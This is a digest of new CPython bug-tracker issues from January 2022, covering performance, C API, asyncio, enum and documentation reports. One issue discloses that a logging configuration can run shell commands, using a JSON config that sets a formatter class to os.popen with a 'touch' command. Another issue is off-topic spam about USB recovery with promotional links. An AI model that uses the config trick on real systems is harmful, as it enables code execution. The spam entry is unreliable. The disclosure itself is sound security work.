<1641167394.3.0.171569418195.issue46235@roundup.psfhosted.org> New submission from Dennis Sweeney : Some benchmarks for this change are below. The case with the largest speedup, `[None] * 10000`, is the case that I would consider the most important: initializing counters of the form `[0] * N` is very common in my experience. The following were taken from a PGO build on Windows without CPU isolation, so take them with a grain of salt: Slower (16): - [None] * 2: 61.6 ns +- 3.3 ns -> 71.0 ns +- 1.5 ns: 1.15x slower - list(range(10)) * 10000: 205 us +- 49 us -> 232 us +- 93 us: 1.13x slower - ["Python", "Perl"] * 10000: 31.4 us +- 4.3 us -> 34.4 us +- 0.2 us: 1.10x slower - list(range(100)) * 2: 370 ns +- 12 ns -> 395 ns +- 14 ns: 1.07x slower - list(range(10)) * 2: 81.5 ns +- 2.8 ns -> 86.9 ns +- 2.4 ns: 1.07x slower - [None] * 10: 72.3 ns +- 2.2 ns -> 75.8 ns +- 2.1 ns: 1.05x slower - ["Python", "Perl"] * 100: 442 ns +- 67 ns -> 463 ns +- 4 ns: 1.05x slower - tuple(range(10)) * 2: 88.2 ns +- 2.9 ns -> 91.9 ns +- 2.7 ns: 1.04x slower - ("Python", "Perl") * 10: 92.6 ns +- 7.8 ns -> 96.0 ns +- 4.5 ns: 1.04x slower - ["Python", "Perl"] * 10: 86.1 ns +- 4.2 ns -> 89.1 ns +- 2.7 ns: 1.04x slower - (None,) * 10: 69.4 ns +- 1.9 ns -> 71.2 ns +- 3.1 ns: 1.03x slower - ["Python", "Perl"] * 2: 63.9 ns +- 2.6 ns -> 65.3 ns +- 1.4 ns: 1.02x slower - (None,) * 2: 54.0 ns +- 0.7 ns -> 55.1 ns +- 2.1 ns: 1.02x slower - ("Python", "Perl") * 2: 57.5 ns +- 3.0 ns -> 58.6 ns +- 2.4 ns: 1.02x slower - list(range(10)) * 10: 238 ns +- 8 ns -> 242 ns +- 7 ns: 1.02x slower - tuple(range(100)) * 2: 414 ns +- 19 ns -> 420 ns +- 6 ns: 1.02x slower Faster (22): - [None] * 10000: 25.1 us +- 0.2 us -> 12.8 us +- 0.2 us: 1.97x faster - tuple(range(10)) * 10000: 255 us +- 91 us -> 176 us +- 77 us: 1.45x faster - tuple(range(1000)) * 10: 17.8 us +- 0.3 us -> 12.4 us +- 0.1 us: 1.44x faster - [None] * 100: 355 ns +- 11 ns -> 251 ns +- 7 ns: 1.41x faster - list(range(1000)) * 10: 16.8 us +- 0.2 us -> 12.5 us +- 0.1 us: 1.34x faster - tuple(range(100)) * 100: 15.9 us +- 0.2 us -> 12.7 us +- 0.2 us: 1.26x faster - tuple(range(10)) * 100: 1.63 us +- 0.02 us -> 1.33 us +- 0.01 us: 1.23x faster - tuple(range(1000)) * 2: 3.61 us +- 0.06 us -> 2.93 us +- 0.03 us: 1.23x faster - list(range(100)) * 100: 13.8 us +- 0.3 us -> 11.2 us +- 0.1 us: 1.23x faster - tuple(range(100)) * 10: 1.68 us +- 0.02 us -> 1.40 us +- 0.01 us: 1.20x faster - tuple(range(1000)) * 100: 240 us +- 87 us -> 200 us +- 102 us: 1.20x faster - tuple(range(1000)) * 10000: 33.8 ms +- 0.8 ms -> 28.3 ms +- 1.5 ms: 1.19x faster - list(range(1000)) * 10000: 33.9 ms +- 0.9 ms -> 28.6 ms +- 1.4 ms: 1.19x faster - list(range(100)) * 10: 1.47 us +- 0.10 us -> 1.25 us +- 0.01 us: 1.18x faster - list(range(10)) * 100: 1.41 us +- 0.02 us -> 1.22 us +- 0.02 us: 1.16x faster - list(range(100)) * 10000: 3.15 ms +- 0.13 ms -> 2.79 ms +- 0.13 ms: 1.13x faster - list(range(1000)) * 2: 3.32 us +- 0.07 us -> 2.94 us +- 0.04 us: 1.13x faster - tuple(range(100)) * 10000: 3.24 ms +- 0.13 ms -> 2.88 ms +- 0.14 ms: 1.13x faster - (None,) * 10000: 26.7 us +- 0.2 us -> 24.1 us +- 0.2 us: 1.11x faster - tuple(range(10)) * 10: 258 ns +- 7 ns -> 249 ns +- 6 ns: 1.04x faster - ("Python", "Perl") * 100: 438 ns +- 7 ns -> 436 ns +- 7 ns: 1.01x faster - ("Python", "Perl") * 10000: 31.1 us +- 0.3 us -> 30.9 us +- 0.2 us: 1.01x faster Benchmark hidden because not significant (2): list(range(1000)) * 100, (None,) * 100 Geometric mean: 1.10x faster ---------- components: Interpreter Core messages: 409546 nosy: Dennis Sweeney priority: normal severity: normal status: open title: Do all ref-counting at once for sequence multiplication type: performance versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Jan 2 22:16:05 2022 From: report at bugs.python.org (Daniel McCarney) Date: Mon, 03 Jan 2022 03:16:05 +0000 Subject: [New-bugs-announce] [issue46236] PyFunction_GetAnnotations returning Tuple vs Dict Message-ID: <1641179765.03.0.33069763826.issue46236@roundup.psfhosted.org> New submission from Daniel McCarney : Hi there, This is my first Python bug, hope I haven't missed anything important. I noticed that the PyFunction_GetAnnotations function from the C API is returning a PyTuple when I link Python 3.10 where historically it returned a PyDict. The documentation for PyFunction_GetAnnotations for 3.10 (here[0]) says its return can be: > a mutable dictionary or NULL I'm not sure if: * This is user error and I should adapt to this case in my dependent code when using Python 3.10+. * This is a documentation error, and it should say "a mutable dictionary, set, or NULL" * This is a regression in the C API that should be fixed. I've made a small reproduction program (here[1]) that can be used to quickly demonstrate the difference in return type between the two Python versions for the same C program and .py inputs. I also noticed that issue42202 (here[2]) landed an optimization in 3.10.x that changed the internal representation of annotations to a set - could that possibly be related? I'm not 100% sure! Thanks! [0]: https://docs.python.org/3/c-api/function.html#c.PyFunction_GetAnnotations [1]: https://github.com/cpu/pyfunction_getannotations_test [2]: https://bugs.python.org/issue42202 ---------- components: C API messages: 409555 nosy: cpu priority: normal severity: normal status: open title: PyFunction_GetAnnotations returning Tuple vs Dict versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 02:45:13 2022 From: report at bugs.python.org (arian-f) Date: Mon, 03 Jan 2022 07:45:13 +0000 Subject: [New-bugs-announce] [issue46237] Incorrect line reported in syntax error Message-ID: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> New submission from arian-f : parsing this code results in a syntax error with an incorrect line number - it's always 1 f''' { 1_a }''' resulting in: File "", line 1 ( 1_a ) ^ SyntaxError: invalid decimal literal an analogue error occurs when parsing a file instead of stdin. This bug looks like it's another instance of https://bugs.python.org/issue42209 - I commented there but there was no response for two weeks - I hope it's OK to post a new bug. > python -VV Python 3.10.1 (tags/v3.10.1:2cd268a, Dec 6 2021, 19:10:37) [MSC v.1929 64 bit (AMD64)] ---------- messages: 409567 nosy: arian-f priority: normal severity: normal status: open title: Incorrect line reported in syntax error type: behavior versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 04:17:22 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 03 Jan 2022 09:17:22 +0000 Subject: [New-bugs-announce] [issue46238] Improve constants usage / definition in asyncio.windows_events Message-ID: <1641201442.54.0.841372993832.issue46238@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several problems in https://github.com/python/cpython/blob/549e62827262264cda30455e10e315602129da72/Lib/asyncio/windows_events.py#L31-L32 1. For some reason this module uses both `NULL` and `_winapi.NULL`, `INFINITE` and `_winapi.INFINITE`. There's no system to it. Besides, they are have equal values. I think it better to use aliases to `_winapi` constants than redefine them 2. Here https://github.com/python/cpython/blob/549e62827262264cda30455e10e315602129da72/Lib/asyncio/windows_events.py#L408 `INFINITE` is not used, but should. It would increase readability. Compare: - `def __init__(self, concurrency=0xffffffff):` < not clear - `def __init__(self, concurrency=INFINITE):` < clear The PR is on its way. ---------- components: asyncio messages: 409570 nosy: asvetlov, sobolevn, yselivanov priority: normal severity: normal status: open title: Improve constants usage / definition in asyncio.windows_events type: behavior versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 04:58:19 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 03 Jan 2022 09:58:19 +0000 Subject: [New-bugs-announce] [issue46239] Incosistent error message in asyncio: windows_events / windows_utils Message-ID: <1641203899.54.0.98561784339.issue46239@roundup.psfhosted.org> New submission from Nikita Sobolev : When trying to import both `windows_events` and `windows_utils` on non-Windows, they both fail. But, they fail differently. `windows_utils` produces a good error message, whil `windows_events` produces a strange one. Good: ``` Python 3.11.0a3+ (heads/main:8d7644fa64, Dec 30 2021, 13:00:40) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import asyncio.windows_utils Traceback (most recent call last): File "", line 1, in File "/Users/sobolev/Desktop/cpython/Lib/asyncio/windows_utils.py", line 6, in raise ImportError('win32 only') ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ImportError: win32 only ``` Not so good: ``` >>> import asyncio.windows_events Traceback (most recent call last): File "", line 1, in File "/Users/sobolev/Desktop/cpython/Lib/asyncio/windows_events.py", line 3, in import _overlapped ^^^^^^^^^^^^^^^^^^ ModuleNotFoundError: No module named '_overlapped' ``` I propose to use the same error message `windows_utils` does. ---------- components: asyncio messages: 409571 nosy: asvetlov, sobolevn, yselivanov priority: normal severity: normal status: open title: Incosistent error message in asyncio: windows_events / windows_utils type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 07:02:24 2022 From: report at bugs.python.org (Andre Roberge) Date: Mon, 03 Jan 2022 12:02:24 +0000 Subject: [New-bugs-announce] [issue46240] Incorrect hint about forgetting a comma Message-ID: <1641211344.13.0.594540055552.issue46240@roundup.psfhosted.org> New submission from Andre Roberge : Given the following code containing an unclosed parenthesis: a = (1, 2 b = 3 Here is the resulting SyntaxError: > python ignore.py File "C:\...\ignore.py", line 1 a = (1, 2 ^ SyntaxError: invalid syntax. Perhaps you forgot a comma? This incorrect hint is present in 3.10.1 and 3.11.0a3. ---------- components: Parser messages: 409578 nosy: aroberge, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: Incorrect hint about forgetting a comma versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 07:21:51 2022 From: report at bugs.python.org (=?utf-8?q?Dani=C3=ABl_van_Noord?=) Date: Mon, 03 Jan 2022 12:21:51 +0000 Subject: [New-bugs-announce] [issue46241] importlib.utils.find_spec() has issues with "tests" folder Message-ID: <1641212511.26.0.576933804919.issue46241@roundup.psfhosted.org> New submission from Dani?l van Noord : Affected folder structure: ?? module_loader ? ??? __init__.py ??? pyproject.toml ??? setup.cfg ??? tests ??? test_module_loader.py ```console ? cat '/Users/daniel/DocumentenLaptop/Programming/Test/module_loader/module_loader/__init__.py' from importlib import util def load_a_spec(modname): return util.find_spec(modname) ``` ```console ? cat '/Users/daniel/DocumentenLaptop/Programming/Test/module_loader/tests/test_module_loader.py' from module_loader import load_a_spec def test_me(): load_a_spec("tests") ``` When I run `pytest` from within the `module_loader` directory and inspect what `load_a_spec` returns I find that it returns: ModuleSpec(name='tests', loader=<_frozen_importlib_external.SourceFileLoader object at 0x10a4b4820>, origin='/Users/daniel/DocumentenLaptop/Programming/Github/astroid/tests/__init__.py', submodule_search_locations=['/Users/daniel/DocumentenLaptop/Programming/Github/astroid/tests']) It seems to take the `tests` folder from another project, in this case astroid, and returns its spec. This is my `sys.path`, which might be relevant: ```console for i in sys.path:print(i) /Users/daniel/DocumentenLaptop/Programming/Test/module_loader/tests /usr/local/bin /usr/local/Cellar/python at 3.9/3.9.9/Frameworks/Python.framework/Versions/3.9/lib/python39.zip /usr/local/Cellar/python at 3.9/3.9.9/Frameworks/Python.framework/Versions/3.9/lib/python3.9 /usr/local/Cellar/python at 3.9/3.9.9/Frameworks/Python.framework/Versions/3.9/lib/python3.9/lib-dynload /Users/daniel/Library/Python/3.9/lib/python/site-packages /usr/local/lib/python3.9/site-packages /Users/daniel/DocumentenLaptop/Programming/Github/astroid /Users/daniel/DocumentenLaptop/Programming/Github/DanielNoord/docstringformatter /Users/daniel/DocumentenLaptop/Programming/Test/module_loader /usr/local/Cellar/pybind11/2.8.1/libexec/lib/python3.9/site-packages ``` Let me know if I'm doing anything wrong, but I would expect the returned spec to be from `module_loader` instead of another project. ---------- files: module_loader.zip messages: 409579 nosy: brett.cannon, danielnoord priority: normal severity: normal status: open title: importlib.utils.find_spec() has issues with "tests" folder type: behavior versions: Python 3.10 Added file: https://bugs.python.org/file50538/module_loader.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 08:23:31 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Mon, 03 Jan 2022 13:23:31 +0000 Subject: [New-bugs-announce] [issue46242] Improve error message when creating an enum with `__call__` Message-ID: <1641216211.34.0.269752308501.issue46242@roundup.psfhosted.org> New submission from Nikita Sobolev : Right now when creating a new `Enum`, we check not to extend `Enum` with existing `_member_names_`: ```python Python 3.11.0a3+ (heads/main:8d7644fa64, Dec 30 2021, 13:00:40) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import enum >>> class A(enum.Enum): ... a = 1 ... >>> class B(A): pass ... Traceback (most recent call last): File "", line 1, in File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 398, in __prepare__ metacls._check_for_existing_members(cls, bases) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 850, in _check_for_existing_members raise TypeError( ^^^^^^^^^^^^^^^^ TypeError: B: cannot extend enumeration 'A' ``` But when we try to use `A()` call to do the same, where what happens: ``` Python 3.11.0a3+ (heads/main:8d7644fa64, Dec 30 2021, 13:00:40) [Clang 11.0.0 (clang-1100.0.33.16)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import enum >>> class A(enum.Enum): ... a = 1 ... >>> B = A('B', 'b') Traceback (most recent call last): File "", line 1, in File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 606, in __call__ return cls._create_( ^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 770, in _create_ _, first_enum = cls._get_mixins_(class_name, bases) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/Users/sobolev/Desktop/cpython/Lib/enum.py", line 899, in _get_mixins_ raise TypeError('Cannot extend enumerations') ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ TypeError: Cannot extend enumerations ``` I propose to use the first error message in this case as well. Moreover, this behavior is not covered with tests: ``` ? ag 'Cannot extend enumerations' Lib/enum.py 899: raise TypeError('Cannot extend enumerations') ``` I will add tests for this edge case. ---------- components: Library (Lib) messages: 409583 nosy: ethan.furman, pablogsal, sobolevn priority: normal severity: normal status: open title: Improve error message when creating an enum with `__call__` type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 09:26:02 2022 From: report at bugs.python.org (Home Learning Live) Date: Mon, 03 Jan 2022 14:26:02 +0000 Subject: [New-bugs-announce] [issue46243] flash drive Message-ID: <1641219962.27.0.329754076205.issue46243@roundup.psfhosted.org> New submission from Home Learning Live : If you have a physical error such as a broken connector, circuit board, NAND memory chip of the drive, then the hardware needs to be replaced or repaired. Doing-it-yourself can lead to even worse situations. Better you get help from the experts in this area. You can hire any trusted data recovery company like Stellar Data Recovery which is specialized in recovering data from a physically damaged USB drive. Below we have mentioned solutions to some common causes of physical issues with your USB drive. a. Broken Stems and Connectors, & Dead Drives (no power to the USB): A common indication of the physical errors is some kind of error messages or troubles that you see after connecting the USB. Common error messages are ?Please Insert Disk into Removable Disk? or ?USB Device Not Recognized or Malfunctioned?, ?you need to format the disk before using it?, RAW partition, dead or unresponsive drives, and damaged controller chips and/or circuit boards. If the silver USB connector is broken or the circuit board is damaged it leads to power supply cut-off to the USB. In such case, soldering and circuit repair is required. It?s not advised to do it yourself as if anything goes wrong, you may permanently lose access to your USB and also it?ll reduce the chances of getting your data successfully recovered or sometimes impossible. To deal with above physical errors, specialized equipment and expertise are required. So better you hand over it to some professional and let them deal with the scenario. b. Error: ?Please Insert Disk into Removable Disk?: This error occurs when the flash drive controller software becomes corrupt. It can also happen if there are some issues with the NAND memory. The above error can be caused by low grade or generic NAND memory chips. With a frequent number of reads and writes, the state of the drive turns worse. The error indicates that there is some issue with the NAND memory chips. Most probably the metadata stored in the NAND memory is corrupted or wiped and it can?t be mounted then, thus turning the drive unreadable. Whenever you try to read the drive, you will get the error message ?Please insert a disk into Removable Disk?. Also, if you try to check the drive size, it usually shows its capacity as 0 MB. As the device cannot be mounted on windows, if you check Device Manager under Disk drives, a different name for the USB drive will be listed. Also, the Disk Management shows a drive letter with No Media. In such case, you need to search for manufacturers that perform USB data recovery or flash drive data recovery. c. Undetectable USB Flash Drive: You may not be able to use your USB drive because of some problems with the USB port, not with the USB drive. So, before performing any repair of the USB drive also make sure that the USB port is working fine. To test the USB Port remove the USB drive, reboot your computer, and test the USB drive again. See if it works. It is possible that one port may not be working but all others are working fine. So try each port of your computer. If this doesn?t help, try the USB drive on some other computer. https://www.stellarinfo.com/blog/how-to-recover-files-from-a-corrupt-or-unresponsive-usb-flash-drive/ https://www.makeuseof.com/tag/dead-usb-port-heres-how-to-diagnose-and-fix-it/ https://www.makeuseof.com/tag/dead-usb-port-heres-how-to-diagnose-and-fix-it/ https://support.blinkforhome.com/issues-with-your-sync-module/troubleshooting-usb-drive https://gamstopbookmakers.com/horse-racing-not-on-gamstop/ https://www.howtogeek.com/howto/22251/find-your-missing-usb-drive-in-windows-7-vista/ ---------- messages: 409585 nosy: booth1664 priority: normal severity: normal status: open title: flash drive type: compile error _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 09:47:44 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Mon, 03 Jan 2022 14:47:44 +0000 Subject: [New-bugs-announce] [issue46244] typing._TypeVarLike missing __slots__ Message-ID: <1641221264.62.0.732771718819.issue46244@roundup.psfhosted.org> New submission from Arie Bovenberg : The mixin class "typing._TypeVarLike" has no __slots__. Its subclasses do define __slots__, so it looks like a mistake. Agree? It should be an easy fix, and I'd like to pick this up. ---------- components: Library (Lib) messages: 409587 nosy: ariebovenberg priority: normal severity: normal status: open title: typing._TypeVarLike missing __slots__ type: performance versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:08:18 2022 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 03 Jan 2022 18:08:18 +0000 Subject: [New-bugs-announce] [issue46245] Add support for dir_fd in shutil.rmtree() Message-ID: <1641233298.42.0.900326324833.issue46245@roundup.psfhosted.org> New submission from Serhiy Storchaka : It is necessary in particularly for supporting dir_fd in the tempfile module (issue25927). ---------- components: Library (Lib) messages: 409599 nosy: serhiy.storchaka priority: normal severity: normal status: open title: Add support for dir_fd in shutil.rmtree() type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:39:08 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Mon, 03 Jan 2022 18:39:08 +0000 Subject: [New-bugs-announce] [issue46246] importlib.metadata.DeprecatedList appears to be missing __slots__ Message-ID: <1641235148.56.0.272435496464.issue46246@roundup.psfhosted.org> New submission from Arie Bovenberg : (as instructed in bpo-46244, I've created this ticket) The subclass `EntryPoints` defines __slots__, but its base `DeprecatedList` does not. This appears to be a mistake. If so, I'd like to create a PR to fix it. ---------- components: Library (Lib) messages: 409604 nosy: ariebovenberg priority: normal severity: normal status: open title: importlib.metadata.DeprecatedList appears to be missing __slots__ versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 13:41:15 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Mon, 03 Jan 2022 18:41:15 +0000 Subject: [New-bugs-announce] [issue46247] in xml.dom.minidom, Node and DocumentLS appear to be missing __slots__ Message-ID: <1641235275.89.0.835733921244.issue46247@roundup.psfhosted.org> New submission from Arie Bovenberg : (as instructed in bpo-46244, I've created this ticket) The classes Node and DocumentLS don't define __slots__, but a number of subclasses do. This appears to be a mistake. If so, I'd like to create a PR to fix it. ---------- components: Library (Lib) messages: 409605 nosy: ariebovenberg priority: normal severity: normal status: open title: in xml.dom.minidom, Node and DocumentLS appear to be missing __slots__ versions: Python 3.10, Python 3.11, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 14:36:05 2022 From: report at bugs.python.org (Sandip Shah) Date: Mon, 03 Jan 2022 19:36:05 +0000 Subject: [New-bugs-announce] [issue46248] Compilation errors on macOS Message-ID: <1641238565.78.0.970913311215.issue46248@roundup.psfhosted.org> New submission from Sandip Shah : macOS Monterey 12.1 Python 3.10.1 Trying to compile libplist, libimobiledevice, libimobiledevice_glue generates the error "Could not link test program to Python. Maybe the main Python library has been installed in some non-standard library path. If so, pass it to configure, via the LDFLAGS environment variable." The fix is change the following lines (570-571) in /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/_sysconfigdata__darwin_darwin.py from: 'LINKFORSHARED': '-Wl,-stack_size,1000000 -framework CoreFoundation ' 'Python.framework/Versions/3.10/Python', to: 'LINKFORSHARED': '-Wl,-stack_size,1000000 -framework CoreFoundation ' '/Library/Frameworks/Python.framework/Versions/3.10/Python', Also, change the following line (110) in /Library/Frameworks/Python.framework/Versions/3.10/lib/python3.10/config-3.10-darwin from: LINKFORSHARED= -Wl,-stack_size,1000000 -framework CoreFoundation $(PYTHONFRAMEWORKDIR)/Versions/$(VERSION)/$(PYTHONFRAMEWORK) to: LINKFORSHARED= -Wl,-stack_size,1000000 -framework CoreFoundation $(PYTHONFRAMEWORKINSTALLDIR)/Versions/$(VERSION)/$(PYTHONFRAMEWORK) It seems the problem got created from - https://bugs.python.org/issue15298 - and most likely it exists in all the versions of Python (it exists in the native Python 2.7.18 that comes with macOS too. Thanks. ---------- components: macOS messages: 409611 nosy: ned.deily, ronaldoussoren, sandipshah priority: normal severity: normal status: open title: Compilation errors on macOS type: compile error versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 16:14:27 2022 From: report at bugs.python.org (Erlend E. Aasland) Date: Mon, 03 Jan 2022 21:14:27 +0000 Subject: [New-bugs-announce] [issue46249] [sqlite3] move set lastrowid out of the query loop Message-ID: <1641244467.23.0.820858977306.issue46249@roundup.psfhosted.org> New submission from Erlend E. Aasland : The query loop in _pysqlite_query_execute() is run only once for ordinary execute()'s, but multiple times for executemany(). We use the 'multiple' variable to differ between the two execute methods; for execute(), multiple is false, for executemany(), multiple is true. At the end of the loop, the 'lastrowid' connection attribute is set, if multiple is false. We can safely move this part out of the loop; it is irrelevant for executemany(), and it will only be run once for execute(). ---------- assignee: erlendaasland components: Extension Modules messages: 409620 nosy: erlendaasland priority: normal severity: normal status: open title: [sqlite3] move set lastrowid out of the query loop type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 16:36:38 2022 From: report at bugs.python.org (VanjaVK) Date: Mon, 03 Jan 2022 21:36:38 +0000 Subject: [New-bugs-announce] [issue46250] 3.10 docs responsive design removes navigation buttons (next, previous ...) on narrow screens for no reason Message-ID: <1641245798.06.0.50879853581.issue46250@roundup.psfhosted.org> New submission from VanjaVK : This kind of responsive design makes it hard to navigate to next or previous section easily. I don't see any UX gain having a fullscreen wide search with a hamburger-style menu. I also believe this is very unfriendly towards disabled people. Better explained in the picture provided: https://i.imgur.com/nYdSM5H.png ---------- assignee: docs at python components: Documentation files: pythondocs.png messages: 409621 nosy: docs at python, vkvanjavk priority: normal severity: normal status: open title: 3.10 docs responsive design removes navigation buttons (next, previous ...) on narrow screens for no reason type: enhancement versions: Python 3.10 Added file: https://bugs.python.org/file50539/pythondocs.png _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 3 17:15:10 2022 From: report at bugs.python.org (MarkBaggett) Date: Mon, 03 Jan 2022 22:15:10 +0000 Subject: [New-bugs-announce] [issue46251] logger.config.configure_formatter executes arbitrary code Message-ID: <1641248110.54.0.752707951983.issue46251@roundup.psfhosted.org> New submission from MarkBaggett : I know there are multiple warnings about the use of eval() in the listener. But _resolve() and resolve() used by both fileConfig and dictConfig also seem like they can also be abused. Here is a working example. $ ls /tmp/itworked ls: cannot access '/tmp/itworked': No such file or directory $ cat log.config { "version":1, "formatters":{ "EXPLOIT":{ "class": "os.popen", "format": "touch /tmp/itworked", "datefmt": "r", "style": 1 } } } $ python calculator.py /usr/lib/python3.8/subprocess.py:848: RuntimeWarning: line buffering (buffering=1) isn't supported in binary mode, the default buffer size will be used self.stdout = io.open(c2pread, 'rb', bufsize) WARNING:calculator.support_functions:Internet Confirmed. WARNING:calculator.support_functions:Adder object exported! WARNING:calculator.support_functions.adder:Set initial value to 0 WARNING:calculator:The result is 15 $ ls /tmp/itworked /tmp/itworked I could probably clean up that error message if I took 2 minute to refresh my os.popen knowledge, but I think you get the point. Are you aware of this issue? Thanks for all you to on this import module! ---------- messages: 409623 nosy: MarkBaggett priority: normal severity: normal status: open title: logger.config.configure_formatter executes arbitrary code type: security versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 00:46:27 2022 From: report at bugs.python.org (Matan Perelman) Date: Tue, 04 Jan 2022 05:46:27 +0000 Subject: [New-bugs-announce] [issue46252] SSLWantReadError causes _SelectorSocketTransport to close Message-ID: <1641275187.79.0.156571195024.issue46252@roundup.psfhosted.org> Change by Matan Perelman : ---------- assignee: christian.heimes components: SSL, asyncio nosy: asvetlov, christian.heimes, matan1008, yselivanov priority: normal severity: normal status: open title: SSLWantReadError causes _SelectorSocketTransport to close type: behavior versions: Python 3.10, Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 02:14:07 2022 From: report at bugs.python.org (Julian Gilbey) Date: Tue, 04 Jan 2022 07:14:07 +0000 Subject: [New-bugs-announce] [issue46253] C API documentation of Py_UNICODE_* character properties macros use Py_UNICODE instead of Py_UCS4 Message-ID: <1641280447.19.0.655355618391.issue46253@roundup.psfhosted.org> New submission from Julian Gilbey : The documentation at https://docs.python.org/3/c-api/unicode.html?highlight=isalpha#unicode-character-properties lists a series of macros such as Py_UNICODE_ISSPACE(Py_UNICODE ch). However, the input type for these macros was changed from Py_UNICODE to Py_UCS4 in commit 324ac65cebf4b0141b946452a2604715f1ca7010 on Wed Aug 18 20:44:58 2010 +0000, but it seems that the documentation has never been updated. The fix should be easy; I'll make a PR for it. ---------- assignee: docs at python components: Documentation messages: 409649 nosy: docs at python, juliangilbey priority: normal severity: normal status: open title: C API documentation of Py_UNICODE_* character properties macros use Py_UNICODE instead of Py_UCS4 versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 05:02:56 2022 From: report at bugs.python.org (Uriya Harpeness) Date: Tue, 04 Jan 2022 10:02:56 +0000 Subject: [New-bugs-announce] [issue46254] Better fitting type for iterating in the trace_init C function Message-ID: <1641290576.49.0.884053638438.issue46254@roundup.psfhosted.org> Change by Uriya Harpeness : ---------- components: C API nosy: uriya1998 priority: normal severity: normal status: open title: Better fitting type for iterating in the trace_init C function type: enhancement versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 06:44:35 2022 From: report at bugs.python.org (Ma Lin) Date: Tue, 04 Jan 2022 11:44:35 +0000 Subject: [New-bugs-announce] [issue46255] Remove unnecessary check in _IOBase._check*() methods Message-ID: <1641296675.58.0.463475399149.issue46255@roundup.psfhosted.org> New submission from Ma Lin : These methods are METH_NOARGS, in all cases the second parameter will be NULL. {"_checkClosed", _PyIOBase_check_closed, METH_NOARGS}, {"_checkSeekable", _PyIOBase_check_seekable, METH_NOARGS}, {"_checkReadable", _PyIOBase_check_readable, METH_NOARGS}, {"_checkWritable", _PyIOBase_check_writable, METH_NOARGS}, ---------- components: IO messages: 409672 nosy: malin priority: normal severity: normal status: open title: Remove unnecessary check in _IOBase._check*() methods versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 09:41:43 2022 From: report at bugs.python.org (Daniele Varrazzo) Date: Tue, 04 Jan 2022 14:41:43 +0000 Subject: [New-bugs-announce] [issue46256] Objects __del__ called after module have been removed Message-ID: <1641307303.08.0.831426730362.issue46256@roundup.psfhosted.org> New submission from Daniele Varrazzo : The following bug has been reported to Psycopg: https://github.com/psycopg/psycopg/issues/198 At the end of the program, errors such as the following are dumped: Exception ignored in: Traceback (most recent call last): File "/opt/homebrew/lib/python3.10/site-packages/psycopg/pq/pq_ctypes.py", line 91, in __del__ TypeError: 'NoneType' object is not callable Where `None` is some module-level objects, such as `os.getpid`. Unfortunately I don't have a full repro. The error seems only happening in Python 3.10. ---------- components: Interpreter Core messages: 409684 nosy: piro priority: normal severity: normal status: open title: Objects __del__ called after module have been removed versions: Python 3.10 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Jan 4 12:04:05 2022 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 04 Jan 2022 17:04:05 +0000 Subject: [New-bugs-announce] [issue46257] Convert statistics sum of squares to a single pass algorithm Message-ID: <1641315845.19.0.562428388394.issue46257@roundup.psfhosted.org> New submission from Raymond Hettinger : The existing code makes two passes, one to compute the mean and another to compute the sum of squared differences from the mean. A consequence of making two passes is that iterator inputs must be converted to a list before processing. This throws away the memory saving 